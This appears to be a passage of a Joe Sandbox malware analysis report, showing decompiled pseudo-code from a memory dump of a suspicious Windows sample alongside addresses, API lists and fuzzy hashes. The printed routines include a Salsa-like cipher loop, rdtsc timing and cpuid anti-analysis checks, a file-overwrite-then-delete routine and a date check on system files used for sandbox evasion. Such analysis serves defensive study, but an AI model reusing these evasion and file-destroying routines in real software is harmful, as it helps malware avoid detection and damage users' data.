                                                                                  					_v104 = _t210;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v92 = _t259;
                                                                                  					_t261 = _v32 ^ _t210 + _t259;
                                                                                  					_v32 = _t261;
                                                                                  					_v100 = _t261;
                                                                                  					_t262 = _v36;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_t229 = _t230 ^ _v8 + _t262;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_v24 = _v24 ^ _v8 + _t229;
                                                                                  					_t216 = _v24;
                                                                                  					_v88 = _t216;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t263 = _t262 ^ _t216 + _t229;
                                                                                  					_t218 = _t263;
                                                                                  					_v36 = _t263;
                                                                                  					_v84 = _t218;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v8 = _v8 ^ _t218 + _v24;
                                                                                  					_v80 = _v8;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_t245 = _v52 ^ _t236 + _t240;
                                                                                  					_v52 = _t245;
                                                                                  					_v72 = _t245;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_t269 = _t270 ^ _t236 + _t245;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t239 = _t240 ^ _t269 + _t245;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_t235 = _t236 ^ _t239 + _t269;
                                                                                  					_t134 =  &_v56;
                                                                                  					 *_t134 = _v56 - 1;
                                                                                  					_t167 = _v28;
                                                                                  				} while ( *_t134 != 0);
                                                                                  				_v76 = _t229;
                                                                                  				_v64 = _t239;
                                                                                  				_t241 = 0;
                                                                                  				_v60 = _t235;
                                                                                  				_t232 = _a8 -  &_v120;
                                                                                  				_v68 = _t269;
                                                                                  				do {
                                                                                  					 *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) =  *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) +  *((intOrPtr*)(_t272 + _t232 + _t241 * 4 - 0x74));
                                                                                  					_t241 = _t241 + 1;
                                                                                  				} while (_t241 < 0x10);
                                                                                  				_t237 = 0x10;
                                                                                  				return memcpy(_a4,  &_v120, _t237 << 2);
                                                                                  			}
































































                                                                                  0x00b670a1
                                                                                  0x00b670a5
                                                                                  0x00b670ac
                                                                                  0x00b670b1
                                                                                  0x00b670b4
                                                                                  0x00b670b7
                                                                                  0x00b670ba
                                                                                  0x00b670bd
                                                                                  0x00b670c0
                                                                                  0x00b670c6
                                                                                  0x00b670cc
                                                                                  0x00b670d2
                                                                                  0x00b670d8
                                                                                  0x00b670de
                                                                                  0x00b670e4
                                                                                  0x00b670ea
                                                                                  0x00b670f0
                                                                                  0x00b670f6
                                                                                  0x00b670f9
                                                                                  0x00b670fc
                                                                                  0x00b670ff
                                                                                  0x00b67102
                                                                                  0x00b67107
                                                                                  0x00b6710a
                                                                                  0x00b67113
                                                                                  0x00b67116
                                                                                  0x00b6711f
                                                                                  0x00b67122
                                                                                  0x00b67129
                                                                                  0x00b6712c
                                                                                  0x00b6712f
                                                                                  0x00b67138
                                                                                  0x00b6713b
                                                                                  0x00b67144
                                                                                  0x00b67147
                                                                                  0x00b67149
                                                                                  0x00b67151
                                                                                  0x00b67154
                                                                                  0x00b6715c
                                                                                  0x00b6715f
                                                                                  0x00b67167
                                                                                  0x00b6716a
                                                                                  0x00b67171
                                                                                  0x00b67174
                                                                                  0x00b6717c
                                                                                  0x00b6717f
                                                                                  0x00b67186
                                                                                  0x00b6718c
                                                                                  0x00b6718f
                                                                                  0x00b67195
                                                                                  0x00b67198
                                                                                  0x00b6719a
                                                                                  0x00b671a3
                                                                                  0x00b671a6
                                                                                  0x00b671ad
                                                                                  0x00b671b0
                                                                                  0x00b671b3
                                                                                  0x00b671b8
                                                                                  0x00b671bb
                                                                                  0x00b671c3
                                                                                  0x00b671c6
                                                                                  0x00b671c9
                                                                                  0x00b671cc
                                                                                  0x00b671d2
                                                                                  0x00b671d5
                                                                                  0x00b671d8
                                                                                  0x00b671db
                                                                                  0x00b671e1
                                                                                  0x00b671e7
                                                                                  0x00b671ee
                                                                                  0x00b671f1
                                                                                  0x00b671f4
                                                                                  0x00b671fa
                                                                                  0x00b67202
                                                                                  0x00b67205
                                                                                  0x00b67208
                                                                                  0x00b6720b
                                                                                  0x00b67211
                                                                                  0x00b67214
                                                                                  0x00b67217
                                                                                  0x00b6721d
                                                                                  0x00b67224
                                                                                  0x00b67227
                                                                                  0x00b6722a
                                                                                  0x00b6722d
                                                                                  0x00b67230
                                                                                  0x00b67235
                                                                                  0x00b67238
                                                                                  0x00b6723e
                                                                                  0x00b67243
                                                                                  0x00b67246
                                                                                  0x00b67249
                                                                                  0x00b6724e
                                                                                  0x00b67251
                                                                                  0x00b67258
                                                                                  0x00b6725b
                                                                                  0x00b6725e
                                                                                  0x00b67261
                                                                                  0x00b67266
                                                                                  0x00b67269
                                                                                  0x00b6726b
                                                                                  0x00b6726d
                                                                                  0x00b67273
                                                                                  0x00b67279
                                                                                  0x00b6727c
                                                                                  0x00b67282
                                                                                  0x00b67288
                                                                                  0x00b6728b
                                                                                  0x00b6728d
                                                                                  0x00b67290
                                                                                  0x00b67296
                                                                                  0x00b67299
                                                                                  0x00b6729e
                                                                                  0x00b672a1
                                                                                  0x00b672a6
                                                                                  0x00b672a9
                                                                                  0x00b672ab
                                                                                  0x00b672ab
                                                                                  0x00b672af
                                                                                  0x00b672af
                                                                                  0x00b672b8
                                                                                  0x00b672c1
                                                                                  0x00b672c4
                                                                                  0x00b672c6
                                                                                  0x00b672c9
                                                                                  0x00b672cb
                                                                                  0x00b672ce
                                                                                  0x00b672d5
                                                                                  0x00b672d9
                                                                                  0x00b672da
                                                                                  0x00b672e7
                                                                                  0x00b672f0

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
                                                                                  • Instruction ID: da2624f881998ecddc96e72c9204be9195804165bf6d700034c2730e88e338d2
                                                                                  • Opcode Fuzzy Hash: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
                                                                                  • Instruction Fuzzy Hash: E0A17CB6D002099FCF80CFA9C981ADEFBF5FF88254F24416AE414F7201E274AA558F54
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 72%
                                                                                  			E00B64AAB(signed char __eax, signed int __edx, signed char* _a4) {
                                                                                  				void* _v5;
                                                                                  				signed char _v12;
                                                                                  				signed char _v20;
                                                                                  				signed char _t11;
                                                                                  				void* _t12;
                                                                                  				void* _t14;
                                                                                  				signed char _t19;
                                                                                  				void* _t23;
                                                                                  				signed char _t25;
                                                                                  				signed char _t28;
                                                                                  				signed int _t29;
                                                                                  				signed int _t31;
                                                                                  				signed char _t32;
                                                                                  				signed int _t34;
                                                                                  				void* _t36;
                                                                                  				signed int _t38;
                                                                                  				signed int _t40;
                                                                                  				void* _t42;
                                                                                  
                                                                                  				_t29 = __edx;
                                                                                  				_t11 = __eax;
                                                                                  				_t23 = 0;
                                                                                  				do {
                                                                                  					asm("rdtsc");
                                                                                  					_t32 = _t11;
                                                                                  					_t12 = E00B64B55();
                                                                                  					asm("rdtsc");
                                                                                  					_v20 = _t12 - _t32;
                                                                                  					asm("sbb ecx, edi");
                                                                                  					_v12 = _t29;
                                                                                  					_t14 = E00B64B55();
                                                                                  					_t25 = _v20;
                                                                                  					asm("rdtsc");
                                                                                  					asm("sbb edx, [ebp-0x8]");
                                                                                  					_t11 = _t14 - _t25 - _t32;
                                                                                  					_v20 = _t11;
                                                                                  					asm("sbb edx, edi");
                                                                                  					_t31 = _v12;
                                                                                  					_t38 = _t31;
                                                                                  					if(_t38 <= 0 && (_t38 < 0 || _t25 <= 0xffffffff)) {
                                                                                  						_t40 = _t29;
                                                                                  						if(_t40 <= 0 && (_t40 < 0 || _t11 <= 0xffffffff)) {
                                                                                  							_t34 = _t25 - _t11;
                                                                                  							asm("sbb edi, edx");
                                                                                  							asm("cdq");
                                                                                  							_t11 = _t31 ^ _t29;
                                                                                  							_t36 = (_t34 ^ _t29) - _t29;
                                                                                  							_t42 = _t36;
                                                                                  							asm("sbb eax, edx");
                                                                                  							_v12 = _t11;
                                                                                  							if(_t42 >= 0 && (_t42 > 0 || _t36 >= 0x40)) {
                                                                                  								_v5 = E00B649DF(_t25);
                                                                                  								_t19 = E00B649DF(_v20);
                                                                                  								_t28 = _v5;
                                                                                  								_t11 = _t19 ^ _t28;
                                                                                  								if(_t11 != 0) {
                                                                                  									 *_a4 = _t28;
                                                                                  									return 1;
                                                                                  								}
                                                                                  							}
                                                                                  						}
                                                                                  					}
                                                                                  					_t23 = _t23 + 1;
                                                                                  				} while (_t23 < 0x80);
                                                                                  				return 0;
                                                                                  			}





















                                                                                  0x00b64aab
                                                                                  0x00b64aab
                                                                                  0x00b64ab4
                                                                                  0x00b64ab6
                                                                                  0x00b64ab6
                                                                                  0x00b64ab8
                                                                                  0x00b64abc
                                                                                  0x00b64ac1
                                                                                  0x00b64ac7
                                                                                  0x00b64aca
                                                                                  0x00b64acc
                                                                                  0x00b64acf
                                                                                  0x00b64ad4
                                                                                  0x00b64ad7
                                                                                  0x00b64adb
                                                                                  0x00b64ade
                                                                                  0x00b64ae0
                                                                                  0x00b64ae3
                                                                                  0x00b64ae5
                                                                                  0x00b64ae8
                                                                                  0x00b64aea
                                                                                  0x00b64af3
                                                                                  0x00b64af5
                                                                                  0x00b64b00
                                                                                  0x00b64b02
                                                                                  0x00b64b06
                                                                                  0x00b64b07
                                                                                  0x00b64b0b
                                                                                  0x00b64b0b
                                                                                  0x00b64b0d
                                                                                  0x00b64b0f
                                                                                  0x00b64b12
                                                                                  0x00b64b24
                                                                                  0x00b64b27
                                                                                  0x00b64b2e
                                                                                  0x00b64b31
                                                                                  0x00b64b33
                                                                                  0x00b64b4e
                                                                                  0x00000000
                                                                                  0x00b64b52
                                                                                  0x00b64b33
                                                                                  0x00b64b12
                                                                                  0x00b64af5
                                                                                  0x00b64b35
                                                                                  0x00b64b36
                                                                                  0x00000000

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: time$Time$BeginPeriodSleep
                                                                                  • String ID:
                                                                                  • API String ID: 4118631919-0
                                                                                  • Opcode ID: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
                                                                                  • Instruction ID: e68a78ed43cb7c155e0c4a2bac0c19e62785feb1e4faf2039c9d28bb38b4e7a6
                                                                                  • Opcode Fuzzy Hash: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
                                                                                  • Instruction Fuzzy Hash: 1211EE31E149641A5F1D9EBDC88069EFBF6DE85760B1D47E9E828D3294D739CC044298
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 62%
                                                                                  			E00B63DEE(intOrPtr __edx, intOrPtr _a4) {
                                                                                  				intOrPtr _v8;
                                                                                  				intOrPtr _v12;
                                                                                  				char _v28;
                                                                                  				intOrPtr _t13;
                                                                                  				intOrPtr* _t17;
                                                                                  				intOrPtr* _t24;
                                                                                  
                                                                                  				_t13 = 0;
                                                                                  				_v8 = 0;
                                                                                  				_v12 = _a4;
                                                                                  				do {
                                                                                  					_push(_t17);
                                                                                  					asm("cpuid");
                                                                                  					_t24 = _t17;
                                                                                  					_t17 =  &_v28;
                                                                                  					 *_t17 = _t13 + 0x80000002;
                                                                                  					 *((intOrPtr*)(_t17 + 4)) = _t24;
                                                                                  					_t13 = _v8 + 1;
                                                                                  					 *((intOrPtr*)(_t17 + 8)) = 0;
                                                                                  					 *((intOrPtr*)(_t17 + 0xc)) = __edx;
                                                                                  					_v8 = _t13;
                                                                                  					asm("movsd");
                                                                                  					asm("movsd");
                                                                                  					asm("movsd");
                                                                                  					asm("movsd");
                                                                                  					_v12 = _v12 + 0x10;
                                                                                  				} while (_t13 < 3);
                                                                                  				return _a4;
                                                                                  			}









                                                                                  0x00b63dfa
                                                                                  0x00b63dfc
                                                                                  0x00b63dff
                                                                                  0x00b63e02
                                                                                  0x00b63e09
                                                                                  0x00b63e0a
                                                                                  0x00b63e0c
                                                                                  0x00b63e0f
                                                                                  0x00b63e12
                                                                                  0x00b63e17
                                                                                  0x00b63e1a
                                                                                  0x00b63e1b
                                                                                  0x00b63e20
                                                                                  0x00b63e23
                                                                                  0x00b63e26
                                                                                  0x00b63e27
                                                                                  0x00b63e28
                                                                                  0x00b63e29
                                                                                  0x00b63e30
                                                                                  0x00b63e33
                                                                                  0x00b63e41

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
                                                                                  • Instruction ID: c0e55923d6a54b026e069b54b0e78e65b777606c229eb2d1e275d5560976fc18
                                                                                  • Opcode Fuzzy Hash: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
                                                                                  • Instruction Fuzzy Hash: 8FF01DB2D01208AFCB45CF5DD88559EFFF5EF49264F6581AAEC08EB301D2719A408BE0
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6464B() {
                                                                                  
                                                                                  				return ( *( *[fs:0x30] + 0xa4) & 0x000000ff) << 0x00000008 |  *( *[fs:0x30] + 0xa8) & 0x000000ff;
                                                                                  			}



                                                                                  0x00b64667

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
                                                                                  • Instruction ID: 2f92208e2cd7eb6c465aa2c1d9d9ad2e0d5e4d52fdcf87f58a77acdaf95c176a
                                                                                  • Opcode Fuzzy Hash: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
                                                                                  • Instruction Fuzzy Hash: 15B092682066D149C396621582B83B07FA0EB83556F2800FD94EB0E883855E021BDB11
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B642E5() {
                                                                                  
                                                                                  				return  *[fs:0x30];
                                                                                  			}



                                                                                  0x00b642eb

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                  • Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
                                                                                  • Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
                                                                                  • Instruction Fuzzy Hash:
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 96%
                                                                                  			E00B62F5E(WCHAR* _a4, long _a8, intOrPtr _a12) {
                                                                                  				long _v8;
                                                                                  				struct _SECURITY_ATTRIBUTES* _v12;
                                                                                  				struct _SECURITY_ATTRIBUTES* _v16;
                                                                                  				long _v20;
                                                                                  				intOrPtr _v24;
                                                                                  				void* _v28;
                                                                                  				struct _SYSTEM_INFO _v64;
                                                                                  				void* _t29;
                                                                                  				long _t37;
                                                                                  				long _t43;
                                                                                  				void* _t44;
                                                                                  				long _t49;
                                                                                  				intOrPtr _t52;
                                                                                  				void* _t53;
                                                                                  				struct _SECURITY_ATTRIBUTES* _t54;
                                                                                  				void* _t56;
                                                                                  				intOrPtr _t59;
                                                                                  				void* _t60;
                                                                                  				void* _t63;
                                                                                  
                                                                                  				_t54 = 0;
                                                                                  				_t53 = 0;
                                                                                  				_v12 = 0;
                                                                                  				_v16 = 0;
                                                                                  				GetSystemInfo( &_v64);
                                                                                  				_t29 = CreateFileW(_a4, 0xc0000000, 1, 0, 3, 0, 0);
                                                                                  				_v28 = _t29;
                                                                                  				if(_t29 == 0xffffffff) {
                                                                                  					_t44 = _v28;
                                                                                  					L15:
                                                                                  					if(_t44 != 0) {
                                                                                  						E00B63DB7(_t44);
                                                                                  					}
                                                                                  					L17:
                                                                                  					_t30 = _v28;
                                                                                  					if(_v28 != 0) {
                                                                                  						E00B63DB7(_t30);
                                                                                  					}
                                                                                  					DeleteFileW(_a4);
                                                                                  					return _t54;
                                                                                  				}
                                                                                  				_v20 = _a8;
                                                                                  				_v24 = _a12;
                                                                                  				_t44 = CreateFileMappingW(_t29, 0, 4, 0, 0, 0);
                                                                                  				if(_t44 == 0) {
                                                                                  					goto L17;
                                                                                  				}
                                                                                  				_t52 = _a12;
                                                                                  				_t59 = _t52;
                                                                                  				if(_t59 < 0) {
                                                                                  					L12:
                                                                                  					_t54 = 1;
                                                                                  					if(_t53 != 0) {
                                                                                  						UnmapViewOfFile(_t53);
                                                                                  					}
                                                                                  					goto L15;
                                                                                  				}
                                                                                  				_t49 = _a8;
                                                                                  				if(_t59 <= 0) {
                                                                                  					L11:
                                                                                  					if(_t49 > _t54) {
                                                                                  						do {
                                                                                  							goto L4;
                                                                                  							L9:
                                                                                  							E00B63CA5(_t53, _t54, _v8);
                                                                                  							_t56 = _t56 + 0xc;
                                                                                  							UnmapViewOfFile(_t53);
                                                                                  							_t43 = _v8;
                                                                                  							_v12 = _v12 + _t43;
                                                                                  							asm("adc [ebp-0xc], esi");
                                                                                  							_t49 = _v20 - _t43;
                                                                                  							_t52 = _v24;
                                                                                  							asm("sbb edx, esi");
                                                                                  							_v20 = _t49;
                                                                                  							_v24 = _t52;
                                                                                  							_t63 = _t52 - _t54;
                                                                                  						} while (_t63 > 0);
                                                                                  						if(_t63 < 0) {
                                                                                  							goto L12;
                                                                                  						}
                                                                                  						goto L11;
                                                                                  					}
                                                                                  					goto L12;
                                                                                  				}
                                                                                  				L4:
                                                                                  				_t37 = _v64.dwAllocationGranularity;
                                                                                  				_v8 = _t37;
                                                                                  				_t60 = _t52 - _t54;
                                                                                  				if(_t60 <= 0 && (_t60 < 0 || _t49 < _t37)) {
                                                                                  					_t37 = _t49;
                                                                                  					_v8 = _t49;
                                                                                  				}
                                                                                  				_t53 = MapViewOfFile(_t44, 0xf001f, _v16, _v12, _t37);
                                                                                  				if(_t53 == 0) {
                                                                                  					goto L15;
                                                                                  				}
                                                                                  				goto L9;
                                                                                  			}






















                                                                                  0x00b62f67
                                                                                  0x00b62f6d
                                                                                  0x00b62f6f
                                                                                  0x00b62f72
                                                                                  0x00b62f75
                                                                                  0x00b62f8a
                                                                                  0x00b62f90
                                                                                  0x00b62f96
                                                                                  0x00b63046
                                                                                  0x00b63049
                                                                                  0x00b6304b
                                                                                  0x00b6304e
                                                                                  0x00b63053
                                                                                  0x00b63054
                                                                                  0x00b63054
                                                                                  0x00b63059
                                                                                  0x00b6305c
                                                                                  0x00b63061
                                                                                  0x00b63065
                                                                                  0x00b63073
                                                                                  0x00b63073
                                                                                  0x00b62fa5
                                                                                  0x00b62fac
                                                                                  0x00b62fb5
                                                                                  0x00b62fb9
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b62fbf
                                                                                  0x00b62fc2
                                                                                  0x00b62fc4
                                                                                  0x00b63036
                                                                                  0x00b63038
                                                                                  0x00b6303b
                                                                                  0x00b6303e
                                                                                  0x00b6303e
                                                                                  0x00000000
                                                                                  0x00b6303b
                                                                                  0x00b62fc6
                                                                                  0x00b62fc9
                                                                                  0x00b63032
                                                                                  0x00b63034
                                                                                  0x00b62fcb
                                                                                  0x00000000
                                                                                  0x00b62fff
                                                                                  0x00b63004
                                                                                  0x00b63009
                                                                                  0x00b6300d
                                                                                  0x00b63013
                                                                                  0x00b63016
                                                                                  0x00b6301c
                                                                                  0x00b6301f
                                                                                  0x00b63021
                                                                                  0x00b63024
                                                                                  0x00b63026
                                                                                  0x00b63029
                                                                                  0x00b6302c
                                                                                  0x00b6302c
                                                                                  0x00b63030
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63030
                                                                                  0x00000000
                                                                                  0x00b63034
                                                                                  0x00b62fcb
                                                                                  0x00b62fcb
                                                                                  0x00b62fce
                                                                                  0x00b62fd1
                                                                                  0x00b62fd3
                                                                                  0x00b62fdb
                                                                                  0x00b62fdd
                                                                                  0x00b62fdd
                                                                                  0x00b62ff9
                                                                                  0x00b62ffd
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00000000

                                                                                  APIs
                                                                                  • GetSystemInfo.KERNEL32(?), ref: 00B62F75
                                                                                  • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 00B62F8A
                                                                                  • CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 00B62FAF
                                                                                  • MapViewOfFile.KERNEL32(00000000,000F001F,?,?,?), ref: 00B62FF3
                                                                                  • UnmapViewOfFile.KERNEL32(00000000), ref: 00B6300D
                                                                                  • UnmapViewOfFile.KERNEL32(00000000), ref: 00B6303E
                                                                                  • DeleteFileW.KERNEL32(?), ref: 00B63065
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: File$View$CreateUnmap$DeleteInfoMappingSystem
                                                                                  • String ID:
                                                                                  • API String ID: 2330190760-0
                                                                                  • Opcode ID: 6f2a97befd78900f5cd4955b9cbf1466edf1b70538cb5e076bb61b555e606505
                                                                                  • Instruction ID: 27f8be0b6a19c42f6647f1e2a1414074b0d8173bff371833efbc4742cf358068
                                                                                  • Opcode Fuzzy Hash: 6f2a97befd78900f5cd4955b9cbf1466edf1b70538cb5e076bb61b555e606505
                                                                                  • Instruction Fuzzy Hash: E6317271A00219ABDB14DFA8DD89AAFBFF8EF44B50F10415DF919E3245DB748E448B90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 80%
                                                                                  			E00B66AAD() {
                                                                                  				struct _SYSTEMTIME _v20;
                                                                                  				char _v24;
                                                                                  				char* _v28;
                                                                                  				char* _v32;
                                                                                  				struct _FILETIME _v40;
                                                                                  				short _v44;
                                                                                  				char _v64;
                                                                                  				short _v68;
                                                                                  				char _v96;
                                                                                  				struct _FILETIME _v112;
                                                                                  				void _v132;
                                                                                  				short _v652;
                                                                                  				short _t33;
                                                                                  				short _t35;
                                                                                  				void* _t40;
                                                                                  				int _t59;
                                                                                  				void* _t61;
                                                                                  				int _t68;
                                                                                  				WCHAR* _t71;
                                                                                  				void* _t79;
                                                                                  				signed int _t82;
                                                                                  				char _t83;
                                                                                  				void* _t85;
                                                                                  
                                                                                  				_v20.wYear = 0x7e2;
                                                                                  				_t79 = 1;
                                                                                  				_t33 = 9;
                                                                                  				_v20.wMonth = _t33;
                                                                                  				_v20.wDayOfWeek = 0;
                                                                                  				_t35 = 0xb;
                                                                                  				_v20.wDay = _t35;
                                                                                  				_v20.wHour = 0;
                                                                                  				_v20.wSecond = 0;
                                                                                  				if(SystemTimeToFileTime( &_v20,  &_v40) != 0) {
                                                                                  					_t40 = E00B6464B();
                                                                                  					__eflags = _t40 - 0x501;
                                                                                  					if(_t40 <= 0x501) {
                                                                                  						L4:
                                                                                  						__eflags = GetSystemDirectoryW( &_v652, 0x104);
                                                                                  						if(__eflags == 0) {
                                                                                  							goto L1;
                                                                                  						}
                                                                                  						E00B65098(__eflags,  &_v652, 0xb6c13c);
                                                                                  						_t71 =  &(( &_v652)[E00B65205( &_v652)]);
                                                                                  						E00B64E03(0xb7cc28, 0x105, 8, 0x1c,  &_v96);
                                                                                  						_v68 = 0;
                                                                                  						E00B64E03(0xb7cc28, 0x584, 0x10, 0x14,  &_v64);
                                                                                  						_v44 = 0;
                                                                                  						_t82 = 0;
                                                                                  						__eflags = 0;
                                                                                  						_v32 =  &_v96;
                                                                                  						_v28 =  &_v64;
                                                                                  						do {
                                                                                  							_t59 = GetFileAttributesExW(E00B65098(__eflags,  &_v652,  *((intOrPtr*)(_t85 + _t82 * 4 - 0x1c))), 0,  &_v132);
                                                                                  							__eflags = _t59;
                                                                                  							if(_t59 != 0) {
                                                                                  								__eflags = CompareFileTime( &_v112,  &_v40);
                                                                                  								_t79 =  >=  ? 0 : _t79;
                                                                                  							}
                                                                                  							_t82 = _t82 + 1;
                                                                                  							 *_t71 = 0;
                                                                                  							__eflags = _t82 - 2;
                                                                                  						} while (__eflags < 0);
                                                                                  						_t83 = _v24;
                                                                                  						_t61 = E00B6464B();
                                                                                  						__eflags = _t61 - 0x501;
                                                                                  						if(_t61 > 0x501) {
                                                                                  							 *0xb7cae8(_t83);
                                                                                  						}
                                                                                  						L12:
                                                                                  						return _t79;
                                                                                  					}
                                                                                  					_t68 =  *0xb7caf0( &_v24);
                                                                                  					__eflags = _t68;
                                                                                  					if(_t68 == 0) {
                                                                                  						goto L12;
                                                                                  					}
                                                                                  					goto L4;
                                                                                  				}
                                                                                  				L1:
                                                                                  				return 0;
                                                                                  			}


























